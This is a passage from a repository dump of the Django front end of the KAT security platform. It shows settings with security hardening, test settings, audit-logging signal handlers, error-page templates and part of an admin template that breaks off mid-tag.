re.compile(f\"{HIDDEN_DEFAULT}|{HIDDEN_ADDITIONAL}\", flags=re.I)\n\n\nDEFAULT_EXCEPTION_REPORTER_FILTER = \"rocky.settings.SaferExceptionReporterFilter\"\n\n\nROCKY_REPORT_PERMALINKS = env.bool(\"ROCKY_REPORT_PERMALINKS\", True)\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = env.bool(\"DEBUG\", False)\n\n# Logging format (\"text\" or \"json\")\nLOGGING_FORMAT = env(\"LOGGING_FORMAT\", default=\"text\")\n\nLOGGING = {\n    \"version\": 1,\n    \"disable_existing_loggers\": False,\n    \"formatters\": {\"default\": {\"format\": \"%(message)s\"}},\n    \"handlers\": {\"console\": {\"class\": \"logging.StreamHandler\", \"formatter\": \"default\"}},\n    \"loggers\": {\"root\": {\"handlers\": [\"console\"], \"level\": env(\"LOG_LEVEL\", default=\"INFO\").upper()}},\n}\n\n\ndef configure_logging(logging_settings):\n    log_cfg = env(\"ROCKY_LOG_CFG\", default=\"\")\n    if log_cfg:\n        with Path(log_cfg).open() as f:\n            logging.config.dictConfig(json.load(f))\n    else:\n        logging.config.dictConfig(logging_settings)\n\n\nstructlog.configure(\n    processors=[\n        structlog.contextvars.merge_contextvars,\n        structlog.processors.add_log_level,\n        structlog.processors.StackInfoRenderer(),\n        structlog.dev.set_exc_info,\n        structlog.stdlib.PositionalArgumentsFormatter(),\n        structlog.processors.TimeStamper(\"iso\", utc=False),\n        (\n            structlog.dev.ConsoleRenderer(\n                colors=True, pad_level=False, exception_formatter=structlog.dev.plain_traceback\n            )\n            if LOGGING_FORMAT == \"text\"\n            else structlog.processors.JSONRenderer()\n        ),\n    ],\n    context_class=dict,\n    logger_factory=structlog.stdlib.LoggerFactory(),\n    wrapper_class=structlog.stdlib.BoundLogger,\n    cache_logger_on_first_use=True,\n)\n\n\nLOGGING_CONFIG = \"rocky.settings.configure_logging\"\n\n# Make sure this header can never be set by an attacker, see also the security\n# warning at https://docs.djangoproject.com/en/4.2/howto/auth-remote-user/\nREMOTE_USER_HEADER = env(\"REMOTE_USER_HEADER\", default=None)\nREMOTE_USER_FALLBACK = env.bool(\"REMOTE_USER_FALLBACK\", False)\n\nif REMOTE_USER_HEADER:\n    # Optional list of default organizations to add remote users to,\n    # format: space separated list of ORGANIZATION_CODE:GROUP_NAME, e.g. `test:admin test2:redteam`\n    REMOTE_USER_DEFAULT_ORGANIZATIONS = env.list(\"REMOTE_USER_DEFAULT_ORGANIZATIONS\", default=[])\n    AUTHENTICATION_BACKENDS = [\"rocky.auth.remote_user.RemoteUserBackend\"]\n    if REMOTE_USER_FALLBACK:\n        AUTHENTICATION_BACKENDS += [\"django.contrib.auth.backends.ModelBackend\"]\n\n# SECURITY WARNING: enable two factor authentication in production!\nTWOFACTOR_ENABLED = env.bool(\"TWOFACTOR_ENABLED\", not REMOTE_USER_HEADER)\n\n# A list of strings representing the host/domain names that this Django site can serve.\n# https://docs.djangoproject.com/en/4.2/ref/settings/#allowed-hosts\nALLOWED_HOSTS = env.list(\"DJANGO_ALLOWED_HOSTS\", default=[\"*\"])\n\nSPAN_EXPORT_GRPC_ENDPOINT = env(\"SPAN_EXPORT_GRPC_ENDPOINT\", default=None)\nif SPAN_EXPORT_GRPC_ENDPOINT is not None:\n    OpenTelemetryHelper.setup_instrumentation(SPAN_EXPORT_GRPC_ENDPOINT)\n\n# -----------------------------\n# EMAIL CONFIGURATION for SMTP\n# -----------------------------\nEMAIL_BACKEND = env(\"EMAIL_BACKEND\", default=\"django.core.mail.backends.console.EmailBackend\")\nEMAIL_FILE_PATH = env.path(\"EMAIL_FILE_PATH\", BASE_DIR / \"rocky/email_logs\")  # directory to store output files\nEMAIL_HOST = env(\"EMAIL_HOST\", default=\"localhost\")  # localhost\ntry:\n    EMAIL_PORT = env.int(\"EMAIL_PORT\", default=25)\nexcept ValueError:\n    # We have an empty EMAIL_PORT= to rocky.conf in the Debian package. We\n    # handle the empty string as default value here so we don't generate an\n    # exception for this\n    if env(\"EMAIL_PORT\"):\n        raise\n\n    EMAIL_PORT = 25\n\nEMAIL_HOST_USER = env(\"EMAIL_HOST_USER\", default=\"\")\nEMAIL_HOST_PASSWORD = env(\"EMAIL_HOST_PASSWORD\", default=\"\")\nDEFAULT_FROM_EMAIL = env(\"DEFAULT_FROM_EMAIL\", default=\"\")\nSERVER_EMAIL = env(\"SERVER_EMAIL\", default=\"\")\nEMAIL_SUBJECT_PREFIX = env(\"EMAIL_SUBJECT_PREFIX\", default=\"KAT - \")\nEMAIL_USE_TLS = env.bool(\"EMAIL_USE_TLS\", False)\nEMAIL_USE_SSL = env.bool(\"EMAIL_USE_SSL\", False)\nEMAIL_SSL_CERTFILE = env(\"EMAIL_SSL_CERTFILE\", default=None)\nEMAIL_SSL_KEYFILE = env(\"EMAIL_SSL_KEYFILE\", default=None)\nEMAIL_TIMEOUT = 30  # 30 seconds\n# ----------------------------\n\nHELP_DESK_EMAIL = env(\"HELP_DESK_EMAIL\", default=\"\")\n\n# Application definition\n\nINSTALLED_APPS = [\n    \"whitenoise.runserver_nostatic\",\n    \"django.contrib.admin\",\n    \"django.contrib.auth\",\n    \"django.contrib.contenttypes\",\n    \"django.contrib.sessions\",\n    \"django.contrib.messages\",\n    \"django.contrib.humanize\",\n    \"django.forms\",\n    \"django_components\",\n    \"django_components.safer_staticfiles\",\n    \"django_otp\",\n    \"django_otp.plugins.otp_static\",\n    \"django_otp.plugins.otp_totp\",\n    \"two_factor\",\n    \"account\",\n    \"tools\",\n    \"fmea\",\n    \"rocky\",\n    \"crisis_room\",\n    \"onboarding\",\n    \"katalogus\",\n    \"django_password_validators\",\n    \"django_password_validators.password_history\",\n    \"rest_framework\",\n    \"tagulous\",\n    \"reports\",\n    \"knox\",\n    # \"drf_standardized_errors\",\n]\n\nMIDDLEWARE = [\n    \"django.middleware.security.SecurityMiddleware\",\n    \"whitenoise.middleware.WhiteNoiseMiddleware\",\n    \"django.contrib.sessions.middleware.SessionMiddleware\",\n    \"django.middleware.locale.LocaleMiddleware\",\n    \"django.middleware.common.CommonMiddleware\",\n    \"django.middleware.csrf.CsrfViewMiddleware\",\n    \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n    \"django_structlog.middlewares.RequestMiddleware\",\n]\n\nif REMOTE_USER_HEADER:\n    MIDDLEWARE += [\"rocky.middleware.remote_user.RemoteUserMiddleware\"]\n\nMIDDLEWARE += [\n    \"django_otp.middleware.OTPMiddleware\",\n    \"rocky.middleware.auth_required.AuthRequiredMiddleware\",\n    \"django.contrib.messages.middleware.MessageMiddleware\",\n    \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n    \"rocky.middleware.onboarding.OnboardingMiddleware\",\n]\n\nif SPAN_EXPORT_GRPC_ENDPOINT is not None:\n    MIDDLEWARE += [\"rocky.middleware.otel.OTELInstrumentTemplateMiddleware\"]\n\nROOT_URLCONF = \"rocky.urls\"\n\nTEMPLATES = [\n    {\n        \"BACKEND\": \"django.template.backends.django.DjangoTemplates\",\n        \"DIRS\": [BASE_DIR / \"rocky/templates\", BASE_DIR / \"reports/report_types\"],\n        \"OPTIONS\": {\n            \"context_processors\": [\n                \"django.template.context_processors.debug\",\n                \"django.template.context_processors.request\",\n                \"django.contrib.auth.context_processors.auth\",\n                \"django.contrib.messages.context_processors.messages\",\n                \"tools.context_processors.feature_flags\",\n                \"tools.context_processors.languages\",\n                \"tools.context_processors.organizations_including_blocked\",\n                \"tools.context_processors.rocky_version\",\n            ],\n            \"builtins\": [\"django_components.templatetags.component_tags\", \"tools.templatetags.ooi_extra\"],\n            \"loaders\": [\n                (\n                    \"django.template.loaders.cached.Loader\",\n                    [\n                        \"django.template.loaders.filesystem.Loader\",\n                        \"django.template.loaders.app_directories.Loader\",\n                        \"django_components.template_loader.Loader\",\n                    ],\n                )\n            ],\n        },\n    }\n]\n\nFORM_RENDERER = \"django.forms.renderers.TemplatesSetting\"\n\nWSGI_APPLICATION = \"rocky.wsgi.application\"\n\nAUTH_USER_MODEL = \"account.KATUser\"\n\n# Database\n# https://docs.djangoproject.com/en/4.2/ref/settings/#databases\n# try reading ROCKY_DB_DSN from environment, if not set fallback to old environment variables\ntry:\n    POSTGRES_DB = env.db(\"ROCKY_DB_DSN\")\nexcept ImproperlyConfigured:\n    POSTGRES_DB = {\n        \"ENGINE\": \"django.db.backends.postgresql\",\n        \"NAME\": env(\"ROCKY_DB\", default=None),\n        \"USER\": env(\"ROCKY_DB_USER\", default=None),\n        \"PASSWORD\": env(\"ROCKY_DB_PASSWORD\", default=None),\n        \"HOST\": env(\"ROCKY_DB_HOST\", default=None),\n        \"PORT\": env.int(\"ROCKY_DB_PORT\", default=5432),\n    }\n\nDATABASES = {\"default\": POSTGRES_DB}\n\nif env.bool(\"POSTGRES_SSL_ENABLED\", False):\n    DATABASES[\"default\"][\"OPTIONS\"] = {\"sslmode\": env(\"POSTGRES_SSL_MODE\", default=\"require\")}\n\n    POSTGRES_SSL_CERT = env.path(\"POSTGRES_SSL_CERT\", default=\"\")\n    POSTGRES_SSL_KEY = env.path(\"POSTGRES_SSL_KEY\", default=\"\")\n\n    if POSTGRES_SSL_CERT and POSTGRES_SSL_KEY:\n        DATABASES[\"default\"][\"OPTIONS\"][\"sslcert\"] = POSTGRES_SSL_CERT\n        DATABASES[\"default\"][\"OPTIONS\"][\"sslkey\"] = POSTGRES_SSL_KEY\n\n    POSTGRES_SSL_ROOTCERT = env.path(\"POSTGRES_SSL_ROOTCERT\", default=\"\")\n    if POSTGRES_SSL_ROOTCERT:\n        DATABASES[\"default\"][\"OPTIONS\"][\"sslrootcert\"] = POSTGRES_SSL_ROOTCERT\n\n\n# Password validation\n# https://docs.djangoproject.com/en/4.2/ref/settings/#auth-password-validators\n# Although no longer encouraged, it is possible to add more requirements by adding:\n# {  # noqa: ERA001\n#         \"NAME\": \"django_password_validators.password_character_requirements\"\n#         \".password_validation.PasswordCharacterValidator\",\n#         \"OPTIONS\": {  # noqa: ERA001\n#             \"min_length_digit\": env.int(\"PASSWORD_MIN_DIGIT\", 2),  # noqa: ERA001\n#             \"min_length_alpha\": env.int(\"PASSWORD_MIN_ALPHA\", 2),  # noqa: ERA001\n#             \"min_length_special\": env.int(\"PASSWORD_MIN_SPECIAL\", 2),  # noqa: ERA001\n#             \"min_length_lower\": env.int(\"PASSWORD_MIN_LOWER\", 2),  # noqa: ERA001\n#             \"min_length_upper\": env.int(\"PASSWORD_MIN_UPPER\", 2),  # noqa: ERA001\n#             \"special_characters\": \" ~!@#$%^&*()_+{}\\\":;'[]\",  # noqa: ERA001\n#         },\n#     },\n\nAUTH_PASSWORD_VALIDATORS = [\n    {\n        \"NAME\": \"django.contrib.auth.password_validation.MinimumLengthValidator\",\n        \"OPTIONS\": {\"min_length\": env.int(\"PASSWORD_MIN_LENGTH\", 12)},\n    }\n]\n\n# Internationalization\n# https://docs.djangoproject.com/en/4.2/topics/i18n/\n\nLANGUAGE_CODE = \"en\"\nLANGUAGE_COOKIE_NAME = \"language\"\n\nTIME_ZONE = \"UTC\"\n\nUSE_I18N = True\n\n\nUSE_TZ = True\n\nLOCALE_PATHS = (BASE_DIR / \"rocky/locale\",)\n\n# Add custom languages not provided by Django\nEXTRA_LANG_INFO = {\n    \"pap\": {\"bidi\": False, \"code\": \"pap\", \"name\": \"Papiamentu\", \"name_local\": \"Papiamentu\"},\n    \"en@pirate\": {\"bidi\": False, \"code\": \"en@pirate\", \"name\": \"English (Pirate)\", \"name_local\": \"English (Pirate)\"},\n}\nLANG_INFO = locale.LANG_INFO.copy()\nLANG_INFO.update(EXTRA_LANG_INFO)\nlocale.LANG_INFO = LANG_INFO\n\nLANGUAGES = [(\"en\", \"en\"), (\"nl\", \"nl\"), (\"pap\", \"pap\"), (\"it\", \"it\"), (\"fy\", \"fy\")]\n\nif env.bool(\"PIRATE\", False):\n    LANGUAGE_CODE = \"en@pirate\"\n    LANGUAGES += [(\"en@pirate\", \"en@pirate\")]\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/4.2/howto/static-files/\n\nSTATIC_URL = \"/static/\"\nSTATIC_ROOT = env.path(\"STATIC_ROOT\", BASE_DIR / \"static\")\nSTATICFILES_DIRS = (BASE_DIR / \"assets\", BASE_DIR / \"components\")\nSTATICFILES_FINDERS = [\n    \"django.contrib.staticfiles.finders.FileSystemFinder\",\n    \"django.contrib.staticfiles.finders.AppDirectoriesFinder\",\n]\n\nLOGIN_URL = \"login\"\nLOGIN_REDIRECT_URL = \"crisis_room\"\n\n# Default primary key field type\n# https://docs.djangoproject.com/en/4.2/ref/settings/#default-auto-field\n\nDEFAULT_AUTO_FIELD = \"django.db.models.BigAutoField\"\n\nSESSION_EXPIRE_SECONDS = env.int(\"SESSION_EXPIRE_SECONDS\", 7200)\nSESSION_EXPIRE_AFTER_LAST_ACTIVITY = True\n\n# Require session cookie to be secure, so only a https session can be started\nSESSION_COOKIE_SECURE = True\n\n# Also set the max age on the session cookie\nSESSION_COOKIE_AGE = SESSION_EXPIRE_SECONDS\n\nSESSION_COOKIE_SAMESITE = \"Strict\"\n\n# only allow http to read session cookies, not Javascript\nSESSION_COOKIE_HTTPONLY = True\n\n# No secure connection means you're not allowed to submit a form\nCSRF_COOKIE_SECURE = True\n\n# Chrome does not send the csrfcookie\nCSRF_COOKIE_SAMESITE = \"Strict\"\n\n# only allow http to read csrf cookies, not Javascript\nCSRF_COOKIE_HTTPONLY = True\n\n# A list of trusted origins for unsafe requests (e.g. POST)\n# https://docs.djangoproject.com/en/4.2/ref/settings/#csrf-trusted-origins\nCSRF_TRUSTED_ORIGINS = env.list(\"DJANGO_CSRF_TRUSTED_ORIGINS\", default=[])\n\n# Configuration for Gitpod\nif GITPOD_WORKSPACE_URL := env(\"GITPOD_WORKSPACE_URL\", default=None):\n    # example environment variable: GITPOD_WORKSPACE_URL=https://minvws-nlkatcoordinatio-fykdue22b07.ws-eu98.gitpod.io\n    # public url on https://8000-minvws-nlkatcoordinatio-fykdue22b07.ws-eu98.gitpod.io/\n    ALLOWED_HOSTS.append(\"8000-\" + GITPOD_WORKSPACE_URL.split(\"//\")[1])\n    CSRF_TRUSTED_ORIGINS.append(GITPOD_WORKSPACE_URL.replace(\"//\", \"//8000-\"))\n\n# Configuration for GitHub Codespaces\nif GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN := env(\"GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN\", default=None):\n    # example environment variable: GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN=preview.app.github.dev\n    # public url on https://praseodym-organic-engine-9j6465vx3xgx6-8000.preview.app.github.dev/\n    ALLOWED_HOSTS.append(\".\" + GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN)\n    CSRF_TRUSTED_ORIGINS.append(\"https://*.\" + GITHUB_CODESPACES_PORT_FORWARDING_DOMAIN)\n\n# Setup sane security defaults for application\n# Deny x-framing, which is standard since Django 3.0\n# There is no need to embed this in a frame anywhere, not desired.\nX_FRAME_OPTIONS = \"DENY\"\n# Send some legacy security headers\nSECURE_BROWSER_XSS_FILTER = True\nSECURE_CONTENT_TYPE_NOSNIFF = True\n\nCSP_HEADER = env.bool(\"CSP_HEADER\", True)\n\nif CSP_HEADER:\n    MIDDLEWARE += [\"csp.middleware.CSPMiddleware\"]\n    INSTALLED_APPS += [\"csp\"]\n\n    CONTENT_SECURITY_POLICY = {\n        \"DIRECTIVES\": {\n            \"default-src\": [NONE],\n            \"img-src\": [SELF],\n            \"font-src\": [SELF],\n            \"style-src\": [SELF],\n            \"frame-ancestors\": [NONE],\n            \"base-uri\": [NONE],\n            \"form-action\": [SELF],\n            \"connect-src\": [SELF],\n            \"script-src\": [SELF],\n        }\n    }\n\n# Turn on the browsable API by default if DEBUG is True, but disable by default in production\nBROWSABLE_API = env.bool(\"BROWSABLE_API\", DEBUG)\n\nif BROWSABLE_API:\n    DEFAULT_AUTHENTICATION_CLASSES = [\n        \"knox.auth.TokenAuthentication\",\n        \"rest_framework.authentication.SessionAuthentication\",\n    ]\n    DEFAULT_RENDERER_CLASSES = [\n        \"rest_framework.renderers.JSONRenderer\",\n        \"rest_framework.renderers.BrowsableAPIRenderer\",\n    ]\nelse:\n    DEFAULT_AUTHENTICATION_CLASSES = [\"knox.auth.TokenAuthentication\"]\n    DEFAULT_RENDERER_CLASSES = [\"rest_framework.renderers.JSONRenderer\"]\n\nREST_FRAMEWORK = {\n    \"DEFAULT_AUTHENTICATION_CLASSES\": DEFAULT_AUTHENTICATION_CLASSES,\n    \"DEFAULT_PERMISSION_CLASSES\": [\"rocky.permissions.KATModelPermissions\"],\n    \"DEFAULT_RENDERER_CLASSES\": DEFAULT_RENDERER_CLASSES,\n    \"DEFAULT_PAGINATION_CLASS\": \"rest_framework.pagination.LimitOffsetPagination\",\n    \"PAGE_SIZE\": 100,\n    \"EXCEPTION_HANDLER\": \"drf_standardized_errors.handler.exception_handler\",\n}\n\nSERIALIZATION_MODULES = {\n    \"xml\": \"tagulous.serializers.xml_serializer\",\n    \"json\": \"tagulous.serializers.json\",\n    \"python\": \"tagulous.serializers.python\",\n    \"yaml\": \"tagulous.serializers.pyyaml\",\n}\nTAGULOUS_SLUG_ALLOW_UNICODE = True\n\nTAG_COLORS = [\n    (\"color-1-light\", _(\"Blue light\")),\n    (\"color-1-medium\", _(\"Blue medium\")),\n    (\"color-1-dark\", _(\"Blue dark\")),\n    (\"color-2-light\", _(\"Green light\")),\n    (\"color-2-medium\", _(\"Green medium\")),\n    (\"color-2-dark\", _(\"Green dark\")),\n    (\"color-3-light\", _(\"Yellow light\")),\n    (\"color-3-medium\", _(\"Yellow medium\")),\n    (\"color-3-dark\", _(\"Yellow dark\")),\n    (\"color-4-light\", _(\"Orange light\")),\n    (\"color-4-medium\", _(\"Orange medium\")),\n    (\"color-4-dark\", _(\"Orange dark\")),\n    (\"color-5-light\", _(\"Red light\")),\n    (\"color-5-medium\", _(\"Red medium\")),\n    (\"color-5-dark\", _(\"Red dark\")),\n    (\"color-6-light\", _(\"Violet light\")),\n    (\"color-6-medium\", _(\"Violet medium\")),\n    (\"color-6-dark\", _(\"Violet dark\")),\n]\n\nTAG_BORDER_TYPES = [(\"plain\", _(\"Plain\")), (\"solid\", _(\"Solid\")), (\"dashed\", _(\"Dashed\")), (\"dotted\", _(\"Dotted\"))]\n\nWEASYPRINT_BASEURL = env(\"WEASYPRINT_BASEURL\", default=\"http://127.0.0.1:8000/\")\n\nKNOX_TOKEN_MODEL = \"account.AuthToken\"\n\n\n# Number of workers to run for the report queue\nPOOL_SIZE = env.int(\"POOL_SIZE\", default=2)\n# Time to wait before polling for tasks when the queue is empty\nPOLL_INTERVAL = env.int(\"POLL_INTERVAL\", default=10)\n# Seconds to wait before checking the workers when queues are full\nWORKER_HEARTBEAT = env.int(\"WORKER_HEARTBEAT\", default=5)\n\n# In production deployments the staticfiles are coming from the collected static\n# files in the static directory. We should not ship all those files also in\n# their original location, but Django will complain if a directory in\n# STATICFILES_DIRS does not exist. We silence the warning here to prevent the\n# warning from confusing users.\nSILENCED_SYSTEM_CHECKS = [\"staticfiles.W004\"]\n\nROCKY_OUTGOING_REQUEST_TIMEOUT = env.int(\"ROCKY_OUTGOING_REQUEST_TIMEOUT\", default=30)\n\nASSET_REPORTS = env.bool(\"ASSET_REPORTS\", default=True)\n"
  },
  {
    "path": "rocky/rocky/settings_test.py",
    "content": "import structlog\n\nfrom rocky.settings import *  # noqa: F401, F403, TID251\n\nSTORAGES = {\"staticfiles\": {\"BACKEND\": \"django.contrib.staticfiles.storage.StaticFilesStorage\"}}\nCOMPRESS_OFFLINE = False\n\n# Disable caching of loggers so they can be changed in tests.\nstructlog.configure(cache_logger_on_first_use=False)\n"
  },
  {
    "path": "rocky/rocky/signals.py",
    "content": "import datetime\n\nfrom crisis_room.management.commands.dashboards import run_findings_dashboard\nfrom django.conf import settings\nfrom django.contrib.admin.models import LogEntry\nfrom django.contrib.auth.signals import user_logged_in, user_logged_out, user_login_failed\nfrom django.contrib.sessions.models import Session\nfrom django.db.models.signals import post_delete, post_save, pre_save\nfrom django.dispatch import receiver\nfrom django_otp.models import Device\nfrom httpx import HTTPError\nfrom katalogus.client import KATalogusClient, get_katalogus_client\nfrom katalogus.exceptions import KATalogusDownException, KATalogusException, KATalogusUnhealthyException\nfrom structlog import get_logger\nfrom tools.models import Organization\n\nfrom octopoes.api.models import Declaration\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.models.ooi.network import Network\nfrom rocky.exceptions import OctopoesDownException, OctopoesException, OctopoesUnhealthyException\n\nlogger = get_logger(__name__)\n\nSESSION_EVENT_CODES = {\"created\": \"090001\", \"updated\": \"090002\", \"deleted\": \"090003\"}\nOTP_DEVICE_EVENT_CODES = {\"updated\": \"900112\", \"deleted\": \"900111\"}\nLOGIN_EVENT_CODES = {\"login\": \"091111\", \"logout\": \"092222\", \"failed\": \"094444\"}\n\n\n# Signal sent when a user logs in\n@receiver(user_logged_in)\ndef user_logged_in_callback(sender, request, user, **kwargs):\n    logger.info(\"User logged in\", username=user.get_username(), event_code=LOGIN_EVENT_CODES[\"login\"])\n\n\n# Signal sent when a user logs out\n@receiver(user_logged_out)\ndef user_logged_out_callback(sender, request, user, **kwargs):\n    logger.info(\"User logged out\", userername=user.get_username(), event_code=LOGIN_EVENT_CODES[\"logout\"])\n\n\n# Signal sent when a user login attempt fails\n@receiver(user_login_failed)\ndef user_login_failed_callback(sender, credentials, request, **kwargs):\n    logger.info(\"User login failed\", credentials=credentials, event_code=LOGIN_EVENT_CODES[\"failed\"])\n\n\n# Signal sent when a model is saved\n@receiver(post_save, dispatch_uid=\"log_save\")\ndef log_save(sender, instance, created, **kwargs) -> None:\n    if isinstance(instance, LogEntry):\n        # Django admin will automatically create a LogEntry for each admin\n        # action, but we shouldn't send log messages about these.\n        return\n\n    context = {}\n    event_codes = getattr(instance, \"EVENT_CODES\", None)\n\n    if created:\n        if event_codes and \"created\" in event_codes:\n            context[\"event_code\"] = event_codes[\"created\"]\n        logger.info(\n            \"%s %s created\",\n            instance._meta.object_name,\n            instance,\n            object_type=instance._meta.object_name,\n            object=str(instance),\n            **context,\n        )\n    else:\n        if event_codes and \"updated\" in event_codes:\n            context[\"event_code\"] = event_codes[\"updated\"]\n        logger.info(\n            \"%s %s updated\",\n            instance._meta.object_name,\n            instance,\n            object_type=instance._meta.object_name,\n            object=str(instance),\n            **context,\n        )\n\n\n# Signal sent when a model is deleted\n@receiver(post_delete, dispatch_uid=\"log_delete\")\ndef log_delete(sender, instance, **kwargs) -> None:\n    context = {}\n    event_codes = getattr(instance, \"EVENT_CODES\", None)\n    if event_codes and \"deleted\" in event_codes:\n        context[\"event_code\"] = event_codes[\"deleted\"]\n    logger.info(\n        \"%s %s deleted\",\n        instance._meta.object_name,\n        instance,\n        object_type=instance._meta.object_name,\n        object=str(instance),\n        **context,\n    )\n\n\ndef save_log(instance, event_code):\n    logger.info(\n        \"%s %s created\",\n        instance._meta.object_name,\n        instance,\n        object_type=instance._meta.object_name,\n        object=str(instance),\n        event_code=event_code,\n    )\n\n\ndef delete_log(instance, event_code):\n    logger.info(\n        \"%s %s deleted\",\n        instance._meta.object_name,\n        instance,\n        object_type=instance._meta.object_name,\n        object=str(instance),\n        event_code=event_code,\n    )\n\n\n@receiver(post_save, sender=Device)\ndef log_save_session(sender, instance, created, **kwargs) -> None:\n    save_log(instance, SESSION_EVENT_CODES[\"created\"] if created else SESSION_EVENT_CODES[\"updated\"])\n\n\n@receiver(post_delete, sender=Device)\ndef log_delete_session(sender, instance, *args, **kwargs) -> None:\n    delete_log(instance, SESSION_EVENT_CODES[\"deleted\"])\n\n\n@receiver(post_save, sender=Session)\ndef log_update_device(sender, instance, created, **kwargs) -> None:\n    if not created:\n        save_log(instance, OTP_DEVICE_EVENT_CODES[\"updated\"])\n\n\n@receiver(post_delete, sender=Session)\ndef log_delete_device(sender, instance, *args, **kwargs) -> None:\n    delete_log(instance, OTP_DEVICE_EVENT_CODES[\"deleted\"])\n\n\n@receiver(pre_save, sender=Organization)\ndef organization_pre_save(sender, instance, *args, **kwargs):\n    instance.clean()\n    katalogus_client = _get_healthy_katalogus()\n    octopoes_client = _get_healthy_octopoes(instance.code)\n\n    try:\n        if not katalogus_client.organization_exists(instance.code):\n            katalogus_client.create_organization(instance)\n    except Exception as e:\n        logger.error(\"Failed creating organization in the Katalogus: %s\", e)\n        raise KATalogusException(\"Failed creating organization in the Katalogus\") from e\n\n    try:\n        octopoes_client.create_node()\n    except Exception as e:\n        try:\n            katalogus_client.delete_organization(instance.code)\n        except Exception as second_exception:\n            raise KATalogusException(\"Failed deleting organization in the Katalogus\") from second_exception\n\n        raise OctopoesException(\"Failed creating organization in Octopoes\") from e\n\n\n@receiver(post_save, sender=Organization)\ndef organization_post_save(sender, instance, created, *args, **kwargs):\n    octopoes_client = _get_healthy_octopoes(instance.code)\n\n    # will trigger only when new organization is created, not for updating.\n    if created:\n        run_findings_dashboard(instance, octopoes_client)\n\n    try:\n        valid_time = datetime.datetime.now(datetime.timezone.utc)\n        octopoes_client.save_declaration(Declaration(ooi=Network(name=\"internet\"), valid_time=valid_time))\n    except Exception:\n        logger.exception(\"Could not seed internet for organization %s\", sender)\n\n\ndef _get_healthy_katalogus() -> KATalogusClient:\n    katalogus_client = get_katalogus_client()\n\n    try:\n        health = katalogus_client.health()\n    except HTTPError as e:\n        raise KATalogusDownException from e\n\n    if not health.healthy:\n        raise KATalogusUnhealthyException\n\n    return katalogus_client\n\n\ndef _get_healthy_octopoes(organization_code: str) -> OctopoesAPIConnector:\n    octopoes_client = OctopoesAPIConnector(\n        settings.OCTOPOES_API, client=organization_code, timeout=settings.ROCKY_OUTGOING_REQUEST_TIMEOUT\n    )\n    try:\n        health = octopoes_client.root_health()\n    except HTTPError as e:\n        raise OctopoesDownException from e\n\n    if not health.healthy:\n        raise OctopoesUnhealthyException\n\n    return octopoes_client\n"
  },
  {
    "path": "rocky/rocky/templates/403.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\">\n        <section>\n            <div>\n                <h1>{% translate \"Error code 403: Unauthorized\" %}</h1>\n                <p>\n                    {% translate \"Your account is not authorized to access this page or organization.\" %}\n                    <br>\n                    {% translate \"Please contact your system administrator.\" %}\n                </p>\n                <p>\n                    {% translate \"You may want to go back to the\" %} <a href=\"{% url 'crisis_room' %}\">{% translate \"Crisis Room\" %}</a>.\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/404.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\" tabindex=\"-1\">\n        <section>\n            <div>\n                <h1>{% translate \"Error code 404: Page not found\" %}</h1>\n                <p>{% translate \"The page you wanted to see or the file you wanted to view was not found.\" %}</p>\n                <p>\n                    {% translate \"You may want to go back to the\" %} <a href=\"{% url 'crisis_room' %}\">{% translate \"Crisis Room\" %}</a>.\n                </p>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/admin/base.html",
    "content": "{% load i18n static %}<!DOCTYPE html>\n{% get_current_language as LANGUAGE_CODE %}{% get_current_language_bidi as LANGUAGE_BIDI %}\n<html lang=\"{{ LANGUAGE_CODE|default:\"en-us\" }}\" dir=\"{{ LANGUAGE_BIDI|yesno:'rtl,ltr,auto' }}\">\n<head>\n<title>{% block title %}{% endblock %}</title>\n<link rel=\"stylesheet\" href=\"{% block stylesheet %}{% static \"admin/css/base.css\" %}{% endblock %}\">\n{% block dark-mode-vars %}\n  <link rel=\"stylesheet\" href=\"{% static \"admin/css/dark_mode.css\" %}\">\n  <script nonce=\"{{ request.csp_nonce }}\" src=\"{% static \"admin/js/theme.js\" %}\" defer></script>\n{% endblock %}\n{% if not is_popup and is_nav_sidebar_enabled %}\n  <link rel=\"stylesheet\" href=\"{% static \"admin/css/nav_sidebar.css\" %}\">\n  <script nonce=\"{{ request.csp_nonce }}\" src=\"{% static 'admin/js/nav_sidebar.js' %}\" defer></script>\n{% endif %}\n{% block extrastyle %}{% endblock %}\n{% if LANGUAGE_BIDI %}<link rel=\"stylesheet\" href=\"{% block stylesheet_rtl %}{% static \"admin/css/rtl.css\" %}{% endblock %}\">{% endif %}\n{% block extrahead %}{% endblock %}\n{% block responsive %}\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <link rel=\"stylesheet\" href=\"{% static \"admin/css/responsive.css\" %}\">\n    {% if LANGUAGE_BIDI %}<link rel=\"stylesheet\" href=\"{% static \"admin/css/responsive_rtl.css\" %}\">{% endif %}\n{% endblock %}\n{% block blockbots %}<meta name=\"robots\" content=\"NONE,NOARCHIVE\">{% endblock %}\n</head>\n\n<body class=\"{% if is_popup %}popup {% endif %}{% block bodyclass %}{% endblock %}\"\n  data-admin-utc-offset=\"{% now \"Z\" %}\">\n<a href=\"#content-start\" class=\"skip-to-content-link\">{% translate 'Skip to main content' %}</a>\n<!-- Container -->\n<div id=\"container\">\n\n    {% if not is_popup %}\n    <!-- Header -->\n    {% block header %}\n    <header id=\"header\">\n        <div id=\"branding\">\n        {% block branding %}{% endblock %}\n        </div>\n        {% block usertools %}\n        {% if has_permission %}\n        <div id=\"user-tools\">\n            {% block welcome-msg %}\n                {% translate 'Welcome,' %}\n                <strong>{% firstof user.get_short_name user.get_username %}</strong>.\n            {% 